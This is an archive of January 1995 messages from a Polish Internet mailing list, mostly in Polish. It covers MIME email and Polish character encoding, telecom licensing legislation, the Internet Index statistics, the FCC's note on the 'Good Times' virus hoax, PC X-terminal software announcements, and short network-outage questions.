From news.polip@cyber.ict.pwr.wroc.pl Sun Jan  1 20:20:12 1995
Received: from [156.17.9.30] by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA23938; Sun, 1 Jan 95 20:19:38 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: by cyber (5.0/SMI-SVR4-UUCP-DOM)
	id AA18423; Sun, 1 Jan 1995 20:18:27 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 1 Jan 1995 19:17:11 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3e6v3n$ec5@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Poczta MIME w polskim Internecie
Content-Length: 0


dr inz. Wojciech Myszka
Instytut Materialoznawstwa
i Mechaniki Technicznej
Politechniki Wroclawskiej
tel. 20-27-54
e-mail: myszka@ldhpux.immt.pwr.wroc.pl

                 Poczta  elektroniczna  w  standardzie  MIME

                               Wojciech Myszka

                               1 stycznia 1995

No, coz... Problem poczty elektronicznej, a nawet Lista Aktualnych Proble-
mow Macka Uhliga nie budza takich emocji jak mozliwosc czytania artykolow
z pewnej gazety przez kazdego uzytkownika sieci. Trudno :-)

W Liscie Aktualnych Problemow w rozdziale IV "Jezyk polski w polskim In-
ternecie" umieszczono:

   1. Dostepnosc tekstow po polsku na kazdym terminalu w polskim Internecie.
      Ustalenie standardu, w ktorym beda organizowane systemy informacyjne.

Problem jest zlozony z kilku wzgledow:

    o wiekszosc oprogramowania sieciowego (zwlaszcza PD) opracowana zo-
      stala w Stanach Zjednoczonych - i nie wymaga (w Stanach oczywiscie)
      zadnej "lokalizacji". W najlepszym razie uwzglednia zachodnioeuropej-
      skie alfabety lacinskie, w dalszej kolejnosci brane sa pod uwage: alfabet
      hebrajski, dalekowschodnie (Japonia, Korea), cyrylica;

    o oprogramowanie komercyjne (glownie systemy Unix) sklania sie w strone
      rozwiazan zaakceptowanych przez ISO (a sa to kody stablicowane w nor-
      mach ISO 8859-x]);

    o z drugiej strony polskie srodowisko informatyczne nie potrafi zdecydo-
      wac sie na jednoolity standard kodowania polskich liter. Z duza pogarda
      odnosi sie do Polskiej Normy, dyskutuje o wyzszosci standardu Mazovia
      nad CP852 i godzi sie na standard MS Windows.


Jezeli chodzi o poczte komputerowa to zostala ona bardzo dawno temu [5] zdefi-
niowana jako siedmiobitowa. Co prawda wiele systemow deklaruje, ze moze od-
bierac/przyjmowac przesylki zawierajace znaki z rozszerzonego zestawu ASCII,
ale nie mozna zalozyc, ze kazdy system przesylke taka przyjmie.

Powstaje zatem kilka problemow:

   1. Jak skomponowac list (i wstawic tam polskie litery) i jakiego alfabetu
      uzywac.

   2. W jaki sposob go przeslac.

   3. Jak przesylke odczytac (w roznych srodowiskach).

Nie zamierzam dyskutowac tu problemu pierwszego i trzeciego, skupiajac sie
jedynie na drugim.

Aby ulatwic sobie zadanie postawilem (na pl.listserv.polip) kilka pytan:

    o jakich programow uzywacie do wysylania MIME (obrazki, dzwieki, wi-
      deo, polskie litery wreszcie),

    o jak je oceniacie,

    o jaka jest "zgodnosc" tych narzedzi,

    o ktore systemy pocztowe sa "8th bit clean", ktore dokonuja automatycz-
      nej MIME-izacji poczty zawierajacej znaki z rozszerzonego zestawu gdy
      odbiorca nie potrafi przyjac takich informacji ESMTP,

    o inne uwagi na ten temat.

Niestety nie dostalem wielu odpowiedzi na ten list :-( Dokladniej mowiac tylko
dwie: od Witolda Owoca (Witold.Owoc@dcs-systems.com) i Bartlomieje Sola-
rza (solarz@ibspan.waw.pl). Za odpowiedzi dziekuje, choc nie moga one stano-
wic zadnego materialu do porownan czy analiz.

Wskazano na dwa narzedzia: mailtool na SUN-ie i PC-Eudora (MS Windows).

Moge dodac kilka informacji z "comp.mail.mime frequently asked questions
list" i kilka slow o narzedziach, do ktorych ja mam dostep.

Korzystam czasami z elma + metamail do czytania poczty, kodowanie jest row-
niez mozliwe, choc nieco uciazliwe. Ponoc wersja 3 ma byc znacznie ulepszona
w tym zakresie. Ni enalezy sie jej spodziewac w najblizszym czasie.

Na komputerach PC mozna uzywac rowniez programu PCElm (wersja 3.21 w
pewnym zakresie pozwala czytac poczte multimedialna, nie pozwala jednak


na jej wysylanie) lub Elm IBM-PC1 w pewnym zakresie pozwala odczyty-
wac poczte multimedialna, ale sa pewne klopoty z jej wyslaniem (ma za to
wbudowana obsluge PEM i PGP).

Czasami udaje mi sie przeczytac MIME-izowane newsy przy uzyciu tin-a, chc
nigdy nie zadalismy sobie trudu, ze bardzo dobrze skonfigurowac poczte (pakiet
metamail i mailcap [1]).

Mam rowniez do dyspozycji pakiet komercyjny: MPower firmy HP (w syste-
mie HP-UX na stacjach roboczych 9000/7xx) - ogromnie rozbudowany pakiet
multimedialny, mogacy obsluzyc skaner, fax, audio, kamere (jezeli sie ma odpo-
wiedni hardware), ale wymagajacy ogromnej ilosci zasobow (zwlaszcza RAM)
i do samego wysylania poczty multimedialnej - nie polecalbym. Choc obsluga
jest bardzo mila - drag and drop: wystarczy mysza chwycic ikone multimedial-
nego pliku (dzwiek, obrazek, postscript) i wrzucic do okna edytora... Odbior
rownie przyjemny: (ale tylko w srodowisku X-Windows) otwiera sie okno prze-
gladarki i w miejscu wstawek umieszczona jest ikona; podwojne klikniecie po-
woduje ,.,otwarcie" jej.

Pegasus Mail ma mozliwosc wysylania/nadawania przesylek multimedialnych.
Niestety, wersja "z pudelka" (z takiej chyba korzystalem na zaprzyjaznionym
serwerze Novell) nie dodaje zbyt dobrych naglowkow. Skonfigurowac trzeba
(jezeli mozna) sposob kodowania polskich liter, choc i tu widze duzy problem
- powinny to byc znaki kodowane zgodnie z ISO 8859-2 (na PC najlatwiej
jednak miec CP 852, a w systemie MS Windows cos co sie nazywa CP 1250
(??)).

Pine pozwala wlaczac i czytac listy "multimedialne". Po blizszym przyjrzeniu
sie okazalo sie, ze ma rowniez kilka innych zalet, ale wykorzystanie ich wymaga
zainstalowania odpowiedniego serwera na komputerze, z ktorego chcemy czytac
poczte (imap). Wersja DOSowska opiera sie na nim wylacznie - mozna za to
czytac korespondencje z kilku serwerow.

Osobnym problemem jest zgodnosc systemow poczty MIME. Przesylke z taka
sama zawartoscia mozna przeslac na kilka roznych sposobow - konfigurujac plik
mailcap nie jestesmy w stanie przewidziec wszystkich prawidlowych kombinacji
naglowkow.

Dokonalem kilku prob przesylania listow MIMeizowanych z bardzo roznym
skutkiem.

Wrocmy teraz do glosow uzytkownikow innych pakietow multimedialnych.

    o Witold Owoc opisal mailtool: Oczywiscie mailtool na Sun-ie. Teraz gdy
      CDE jest juz na rynku (AIX 4.0) wszyscy beda mieli wlasnie jego, wiec
      nawet nie patrze na inne platformy.
______________________________
   1Elm IBM-PC v2.1 PL63, of Jan 18 1994


      Nawet jesli nie do wysylania, to do odbierania mailtool jest dobry. Solaris
      2 ma zdefiniowane duzo wiecej pod CE (Classing Engine) niz Solaris 1,
      ale jak czegos brak to mozna sobie dodefiniowac albo prywatnie albo tylko
      dla danego komputera.

    o Bartlomiej Solarz opisal PC-Eudore: (ja:) jakich programow uzywacie...

      (BS:) PC-Eudora 1.4 - ale jesli rzeczywiscie mam cos poslac nie uzywam
      MIME (chyba ze musze).

      (ja:) jak je oceniacie,

      (BS:) Dziala dobrze ma bledy (ale nie dyskwalifikujace!) istnieje wersja
      komercyjna, moze pracowac w sieci oraz moze pracowac w tle i jest pod
      WINDOWS! 
      
      (ja:) jaka jest "zgodnosc"...

      (BS:) Np. nie odbieram MIME z Pegasusa, ale odbieram z jakiegos innego
      Mailera (komercyjny produkt - nigdy nie udalo sie ustalic bo z drugiej
      strony siedziala osoba ktora tylko umiala obslugiwac). Wiec zgodnosc nie
      jest dobra.

Wnioski

Trudno podsumowac zebrane materialy. Ale pewne wnioski juz sie nasuwaja:

   1. Standard MIME [2] dopuszcza stosowanie zmakow narodowych zdefinio-
      wanych w normach ISO-8859-x i albo trzeba norme rozszerzyc, albo
      przerzucic sie na stosowanie tych znakow (na komputerach PC), albo
      wbudowac w programy uzywane do czytania/komponowania poczty (MA
      - Mail Agent) odpowiednie filtry dokodujace konwersji z/do ISO-8859-2,
      albo czekac na unicode [3].

   2. Wobec popularnosci srodowiska MS Windows warto by lepiej rozpoznac
      jakies produkty (komercyjne i PD) pracujace w tym srodowisku - moga
      one niepostrzezenie zdobyc dominujaca popularnosc.

   3. Warto by zebrac w jednym miejscu narzedzia i pliki konfiguracyjne uzy-
      wane przez popularne pakiety MIME.

   4. Wrato by wreszcie rozpoznac mozliwosci poczty X.400.

   5. Jezeli chodzi o ESMTP [4] to prosze wyslac list zawierajacy niezakodo-
      wane w zaden sposob znaki z rozszerzonego zestawu ASCII zaadresowany
      do siebie w sposob posredni: user%domain@immt.pwr.wroc.pl i obejrzec
      wyniki (user i domain sa czesciami wlasnego adresu) - takich zachowan
      przy przesylaniu poczty tez mozemy sie spodziewac.


Literatura

[1] N. Borenstein. A user agent configuration mechanism for multimedia mail
    format information. RFC 1343, June 1992.

[2] N. Borenstein and N. Freed. Mime (multipurpose internet mail extensions):
    Mechanisms for specifying and describing the format of internet message
    bodies. RFC 1341, June 1992.

[3] D. Goldsmith and M. Davis.  Using unicode with mime.  RFC 1641, July
    1994.

[4] J. Klensin, N. Freed, M. Rose, E. Stefferud, and D. Crocker. Smtp service
    extensions. RFC 1651, July 1994.

[5] Jonathan B. Postel. Simple mail transfer protocol. RFC 821, August 1982.
-----------------------------------------------------

PS1: Tekst ten wyslalem bez ogonkow i nie korzystajaz z MIME. Obawiam
sie, ze bylo by zbyt wiele problemow z jego odczytaniem. Wersja z "ogonkami"
dostepna jest jako: http://www.immt.pwr.wroc.pl/"myszka/mime.ps

PS2: Oczekuje na wszelkie uwagi i komentarze.

--
Wojciech A. Myszka                         myszka@ldhpux.immt.pwr.wroc.pl
Technical University of Wroclaw, Institute of Material Science 
and Technical Mechanics, Smoluchowskiego str. 25
50-370 Wroclaw, Poland, tel. (+48 71) 21-50-28, fax () 21-12-35
--
 GOVERNMENT ECONOMIST VIRUS: Nothing works, but all your diagnostic software
 says everything is fine.

From muhlig@usctoux1.cto.us.edu.pl Mon Jan  2 09:26:42 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03419; Mon, 2 Jan 95 09:26:03 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: ustawa o lacznosci
To: polip@zsku.p.lodz.pl
Date: Mon, 2 Jan 1995 09:34:04 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 1537      
Message-Id:  <9501020934.aa20574@usctoux1.cto.us.edu.pl>

Przesylam rzadowa informacje o postepie prac legislacyjnych w temacie
ustawy o lacznosci. Jak widac przyspieszenie dzialan jest znaczace.
Niedawno KERM, dzis rzad, jutro Sejm... a niebawem koncesje.
Zwracam uwage, ze wyglada na to, ze koncesje trzeba bedzie miec
zarowno na budowe, rozbudowe i uzytkowanie MAN, jak i na instalacje
PC z Linuxem jako IP provider. A widac tylko jednego kandydata do
koncesji...

--

Sender:       Komunikaty z posiedzen Rady Ministrow i Komitetow Rzadowych <KOMUNIKATY-BPRZ@kinga.optocomp.waw.pl>
Subject:      Komunikat z posiedzenia Rady Ministrow w dniu 28.12.1994
To:           Multiple recipients of list KOMUNIKATY-BPRZ <KOMUNIKATY-BPRZ@kinga.optocomp.waw.pl>

KOMUNIKAT Z POSIEDZENIA RADY MINISTROW w dniu 28 grudnia 1994 r.

[...]

 Rada Ministrow przyjela projekt nowelizacji ustawy o lacznosci
i skierowala go do Parlamentu w trybie pilnym.

[...]

W projekcie ustawy proponuje sie wprowadzenie koncesji wydawanych przez ML
na swiadczenie uslug telekomunikacyjnych oraz zezwolen m.in. na zakladanie
i uzytkowanie radiokomunikacyjnych urzadzen nadawczych lub
nadawczo-odbiorczych.


Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From kokowski@CS.PUT.Poznan.PL Mon Jan  2 09:26:46 1995
Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03418; Mon, 2 Jan 95 09:26:02 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA21694; Mon, 2 Jan 95 09:31:57 +0100
Subject: Internet Index
To: polip@zsku.p.lodz.pl (Polish Internet)
Date: Mon, 2 Jan 1995 09:19:29 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 2329      
Message-Id:  <9501020919.aa22031@wega.ics.tup.edu.pl>


     Przesylam kopie indeksu sieci Internet (Internet Index). Statystycy i
analitycy do dziela!

Tomasz Kokowski

--------------------------------------------------------------------------


> 
> 			  The Internet Index
> 			       Number 5
> 		    Inspired by "Harper's Index"*
> 	    Compiled by Win Treese (treese@OpenMarket.com)
> 			   31 December 1994
> 				   
> Growth of Gopher traffic in 1993: 1076%
> Growth of Gopher traffic in 1994: 197%
> 
> Growth of WWW traffic in 1993: 443,931%
> Growth of WWW traffic in 1994: 1713%
> 
> Growth in NSFnet traffic in 1994: 110%
> 
> Advertised network numbers in November, 1993: 19,664
> Advertised network numbers in November, 1994: 42,883
> 
> Number of Internet access providers with service in Quito, Ecuador: 1
> 
> Number of countries reachable by electronic mail in 1993: 137 (approx.)
> Number of countries reachable by electronic mail in 1994: 159 (approx.)
> 
> Number of countries on the Internet in 1994: 81
> Number of countries on the Internet in 1993: 60
> 
> Number of sites participating in "First Night in Cyberspace": 10
> 
> Number of peer-reviewed scholarly journals published electronically
> 	on the Internet: over 70
> 
> Number of attendees at Internet World, January, 1992: 272
> Number of attendees at Internet World, December, 1994: over 10,000
> 
> Number of "cybercafes" in the United Kingdom: 1
> 
> Number of subscribers to the ClariNet electronic newspaper: 80,000
> 
> Number of FBI cases officially publicized on the Internet: 1
> 
> Percentage increase in weight of the 2nd edition of the
> 	 Canadian Internet Handbook: 280
> 
> Number of meetings of the Internet Engineering Task Force, through 1994: 31
> 
> Number of US Youth Soccer teams with web pages: 2
> 
> On average, number of days between issuing of new Internet RFCs in 1994: 2
> 
> Number of phone calls to InterNIC Registration Services during
> 	November, 1994: 1,964
> 
> Number of Internet messages causing Microsoft to issue a press release
> 	denying them: 1
> 
> "Harper's Index" is a registered trademark of Harper's Magazine Foundation.
> Copyright 1994 by Win Treese. Send updates or interesting statistics to
> treese@OpenMarket.com.  A copy of the Index annotated with sources can
> be found at http://www.openmarket.com/info/internet-index/current-sources.html.


From news.polip@cyber.ict.pwr.wroc.pl Tue Jan  3 12:20:10 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05142; Tue, 3 Jan 95 12:19:02 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA00397 for polip@zsku.p.lodz.pl; Tue, 3 Jan 1995 12:17:22 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Tue, 3 Jan 1995 11:00:15 GMT
From: mkaleta@cyf-kr.edu.pl (A.Gorbiel)
Message-Id: <D1tt8F.4nx@cyf-kr.edu.pl>
Organization: Gazeta Wyborcza, Oddzial Katowice
Sender: news.polip@cyber.ict.pwr.wroc.pl
Reply-To: A.Gorbiel@Ga-Wyb.Krakow.PL (Andrzej Gorbiel)
Subject: Co sie stalo z INF.WSP.KRAKOW.PL?!

Witam,
Czy ktos z POLIPow mmoglby mnie oswiecic? Od tygodnia probuje wyslac mail
na inf.wsp.krakow.pl, ale listy wracaja po kilku dniach. Rozumiem,
ze na swiwta ktos mogl wylaczyc tego Novella, ale mamy juz nowy rok!

Zeby bylo jeszcze gorzej, osoba z ktora usiluje sie skontaktowac ma
z pozostalych _dzialajacych_ kont (Cyfronet) .forward na ten feralny
komputer, wobec czego dostalem kolejne ostrzezenia od MAIL DELIVERY S.

--       ,
Andrzej Gorbiel                                   <A.Gorbiel@Ga-Wyb.Krakow.PL>
Gazeta Wyborcza Oddz. Katowice, (++48-32)512-130 ext.231, fax (++48-32)512-472
From @plearn.edu.pl:idgpl@sam.nask.com.pl Tue Jan  3 14:05:12 1995
Received: from plearn.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06938; Tue, 3 Jan 95 14:02:27 +0100
Return-Path: <@plearn.edu.pl:idgpl@sam.nask.com.pl>
Received: from sam.nask.com.pl by plearn.edu.pl (IBM VM SMTP V2R1) with TCP;
   Tue, 03 Jan 95 14:06:56 CET
Organization: International Data Group Poland
Date: Tue, 03 Jan 95 09:59:59 +0100
From: idgpl@sam.nask.com.pl (Redakcja ComputerWorld)
Message-Id: <9501030859.AA10372@sam.nask.com.pl>
To: POLIP@zsku.p.lodz.pl, CIUW-L@PLEARN.EDU.PL
Subject: FCC ostrzega przed "Good Times"!

In the early part of December, FCC started to receive information
requests about a supposed "virus" which could be contracted via
America OnLine, simply by reading a message.  The following is the
message that FCC received:

>
>  ---------------------------------------------------------------------------
> | Here is some important information. Beware of a file called Goodtimes.    |
> |                                                                           |
> |                                                                           |
> |  Happy Chanukah everyone, and be careful out there. There is a virus on   |
> | America Online being sent by E-Mail.  If you get anything called "Good    |
> | Times", DON'T read it or download it.  It is a virus that will erase your |
> | hard drive.  Forward this to all your friends.  It may help them a lot.   |
>  ---------------------------------------------------------------------------
>
From dyrdal@gate.maloka.waw.pl Tue Jan  3 14:41:46 1995
Received: from gate.maloka.waw.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA08743; Tue, 3 Jan 95 14:38:52 +0100
Return-Path: <dyrdal@gate.maloka.waw.pl>
Date: Tue, 3 Jan 1995 15:35:38 +0000
From: Krzysiek Dyrdal <dyrdal@maloka.waw.pl>
Subject: Re: FCC ostrzega przed "Good Times"!
To: polip@zsku.p.lodz.pl
In-Reply-To: <9501030859.AA10372@sam.nask.com.pl>
Message-Id: <Pine.3.89.9501031547.A8627-0100000@gate.maloka.waw.pl>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

A mysmy juz chyba o tym niedawno tutaj rozmawiali .....

On Tue, 3 Jan 1995, Redakcja ComputerWorld wrote:

> In the early part of December, FCC started to receive information
> requests about a supposed "virus" which could be contracted via
> America OnLine, simply by reading a message.  The following is the
> message that FCC received:
> 
> >
> >  ---------------------------------------------------------------------------
> > | Here is some important information. Beware of a file called Goodtimes.    |
> > |                                                                           |
> > |                                                                           |
> > |  Happy Chanukah everyone, and be careful out there. There is a virus on   |
> > | America Online being sent by E-Mail.  If you get anything called "Good    |
> > | Times", DON'T read it or download it.  It is a virus that will erase your |
> > | hard drive.  Forward this to all your friends.  It may help them a lot.   |
> >  ---------------------------------------------------------------------------
> >
> 
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan  3 14:41:56 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA08757; Tue, 3 Jan 95 14:39:04 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA02557 for polip@zsku.p.lodz.pl; Tue, 3 Jan 1995 14:10:49 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 3 Jan 1995 13:10:47 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3ebicn$296@cyber.ict.pwr.wroc.pl>
Organization: Technical University of Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Announce: X PC Server

Szanowni Panstwo,
znalazlem takie interesujace obwieszczenie na temat mozliwosci wykorzystania
PC z Linuxem jako X-terminala. Oprogramowanie jest dostepne 
w ftp://ftp.immt.pwr.wroc.pl/pub/X-terminals
pliki xpcs.doc i xpcsa.zip

Dziala bardzo sprawnie, wymaga niestety pewnej minimalnej wiedzy na 
temat plikow konfiguracyjnych XFree86 i doinstalowania fontow lub posiadana
w najblizszej okolicy font serwera.

Polecam

Wojtek

--
Wojciech A. Myszka                         myszka@ldhpux.immt.pwr.wroc.pl
Technical University of Wroclaw, Institute of Material Science 
and Technical Mechanics, Smoluchowskiego str. 25
50-370 Wroclaw, Poland, tel. (+48 71) 21-50-28, fax () 21-12-35

-----------------------------------------------------------------

[ Article crossposted from comp.protocols.tcp-ip.ibmpc ]
[ Author was Francisco Rosich Viana ]
[ Posted on 31 Dec 1994 17:42:16 +0100 ]


If you want to use a PC as an X terminal, give a try to xpcsa.zip,
available at ftp://modico.eleinf.uv.es/pub. The README file is attached
to this announce.

"modico" is my 386 PC at work. It is not usually a stable site for
ftp distributions, but I'm about to spend a full week skiing,
so it will be idle most of the time. When I come back by monday 9,
I'll upload to a better site if necessary.

I will not have (or need) Internet access at Avoriaz :-), so be patient
if you send me mail during this week.

Paco.
rosich@graf.ci.uv.es

-------------------------------------------------------------------------
XPCS Alpha, 31-Dec-1994                Paco Rosich <rosich@graf.ci.uv.es>

XPCS turns a PC into an X-terminal by using a minimal Linux system and
the XFree86 server. The idea is that most people that don't want to
install a full PC-based UNIX system could run a good X server in only
3.5Mb of space on a DOS partition (using UMSDOS). The distribution, with
the SVGA server and without fonts, fits compressed in one floppy (I know 
now that there was a UMSDOS Linux distribution in three floppies which 
included an X server. This handy distribution is no longer at major archive 
sites).

So that's what I've called XPCS (for "X PC Server"). There is no
user-friendly installation or configuration utility, and may not work in
your hardware as released (you may have to get other kernel or X server). 
I still feel that this can be useful for most people, so I'm distributing 
it anyway.

You need 3.5 Mb of hard disk space in a real drive (no network, no
compressed drives,..) to install XPCS. If you have all your drive compressed
with DoubleSpace, defragment the compressed unit and reduce its size to
recover space in the physical drive. Use "pkunzip -d" to extract paths
stored in the zipfile, and extract to the root directory, so \linux is
created. 

A >386 PC with 4Mb RAM is required. Also, some host on your network should
run xdm.

Read xpcs.bat; it will say you what to do now. I'm not including enough
documentation to smoothly install and configure everything. Try getting
documentation about Linux and XFree86 if you have problems. Major Linux ftp
sites are sunsite.unc.edu (/pub/Linux) and tsx-11.mit.edu (/pub/linux).

I don't pretend to make this into a high quality product, so there is no 
version number. Only this "alpha" now, and hopefully a "final release" soon 
if I receive enough feedback.

Paco.


From wowoc@acs.ucalgary.ca Tue Jan  3 17:36:49 1995
Received: from acs7.acs.ucalgary.ca by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15779; Tue, 3 Jan 95 17:35:27 +0100
Return-Path: <wowoc@acs.ucalgary.ca>
Received: by acs7.acs.ucalgary.ca (AIX 3.2/UCB 5.64/4.03)
          id AA20952; Tue, 3 Jan 1995 09:42:27 -0700
Date: Tue, 3 Jan 1995 09:42:27 -0700
From: wowoc@acs.ucalgary.ca (Witold Owoc)
Message-Id: <9501031642.AA20952@acs7.acs.ucalgary.ca>
To: polip@zsku.p.lodz.pl
Subject: Re: Announce: PC X-client

Wojciech Myszka <myszka@immt.pwr.wroc.pl> pisze o tym jak
> XPCS turns a PC into an X-terminal by using a minimal Linux system and
> the XFree86 server

Chcialbym polecic podobny pakiet Xdenu. Jest on dostepny w
 ftp://ftp.cs.hut.fi/pub/linux/xdenu
Wersja 1.0 miesci sie na 2 dyskietkach, a wersja 2.0 uzywa LOADLIN i UMSDOS.
Zawiera toto tylko 4 czcionki, wiec 'font server' lub doinstalowanie
czcionek sa konieczne do powaznej pracy.
Bardzo dopracowana instalacja/konfiguracja, jesli C: nie jest zkompresowany,
to nie trzeba nic wiedziec o Linuxie czy tez LOADLIN by wystartowac.

Witold Owoc <wowoc@acs.ucalgary.ca>

#disclaimer "my.private.views"
---------------------------------------------------------
The University of Calgary had no knowledge of nor in any
way gave its consent to the transmission of this message.
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan  4 09:59:46 1995
Received: from [156.17.9.30] by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA00670; Wed, 4 Jan 95 09:57:55 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA21270 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 09:47:27 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Wed, 4 Jan 1995 08:22:38 GMT
From: solarz@ibspan.waw.pl (Bartlomiej Solarz)
Message-Id: <solarz.107.2F0A5ACE@ibspan.waw.pl>
Organization: Instytut Badan Systemowych
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: SLIP Server na SUN 4.1.3

Witam!

Czy ktos z polipowcow skonfigurowal/eksploatuje SLIP Routera na SUN 4.1.3?

Jesli komus ta sztuka sie udala oczekuje na wiadomosc:

solarz@ibspan.waw.pl

Z powazaniem

Bartlomiej Solarz
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan  4 12:19:47 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA02883; Wed, 4 Jan 95 12:17:53 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA23874 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 12:21:30 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 4 Jan 1995 10:56:58 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3edutq$8am@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: ippt.gov.pl poza siecia?

Witam,

chcial bym sie dowiedziec, czy ktos moze wie dlaczego od mniej-wiecej
tygodnia z sieci zniknela domena ippt.gov.pl?

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan  4 12:59:47 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03957; Wed, 4 Jan 95 12:57:53 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA24389 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 12:47:29 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Wed, 4 Jan 1995 11:31:14 GMT
From: mkaleta@cyf-kr.edu.pl (A.Gorbiel)
Message-Id: <D1vpC3.7KH@cyf-kr.edu.pl>
Organization: Gazeta Wyborcza, Oddzial Katowice
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <D1tt8F.4nx@cyf-kr.edu.pl>
Reply-To: A.Gorbiel@Ga-Wyb.Krakow.PL (Andrzej Gorbiel)
Subject: Re: Co sie stalo z INF.WSP.KRAKOW.PL?!

A.Gorbiel (mkaleta@cyf-kr.edu.pl) wrote:
: Witam,
: Czy ktos z POLIPow mmoglby mnie oswiecic? Od tygodnia probuje wyslac mail
: na inf.wsp.krakow.pl, ale listy wracaja po kilku dniach. Rozumiem,
: ze na swiwta ktos mogl wylaczyc tego Novella, ale mamy juz nowy rok!

Juz mi doniesiono, ze pewna szanowana firma naprawia im juz drugi tydzien
repeater!

--       ,
Andrzej Gorbiel                                   <A.Gorbiel@Ga-Wyb.Krakow.PL>
Gazeta Wyborcza Oddz. Katowice, (++48-32)512-130 ext.231, fax (++48-32)512-472
From staszek@mimuw.edu.pl Wed Jan  4 13:59:47 1995
Received: from ghost.mimuw.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05272; Wed, 4 Jan 95 13:58:45 +0100
Return-Path: <staszek@mimuw.edu.pl>
Received: from localhost (staszek@localhost) by ghost.mimuw.edu.pl (8.6.4/8.6.4) id OAA12494 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 14:06:03 +0100
From: Staszek Kurpiewski <Staszek.Kurpiewski@mimuw.edu.pl>
Message-Id: <199501041306.OAA12494@ghost.mimuw.edu.pl>
Subject: Re: ippt.gov.pl poza siecia?
To: polip@zsku.p.lodz.pl
Date: Wed, 4 Jan 1995 14:06:02 +0100 (MET)
In-Reply-To: <3edutq$8am@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 4, 95 12:25:38 pm
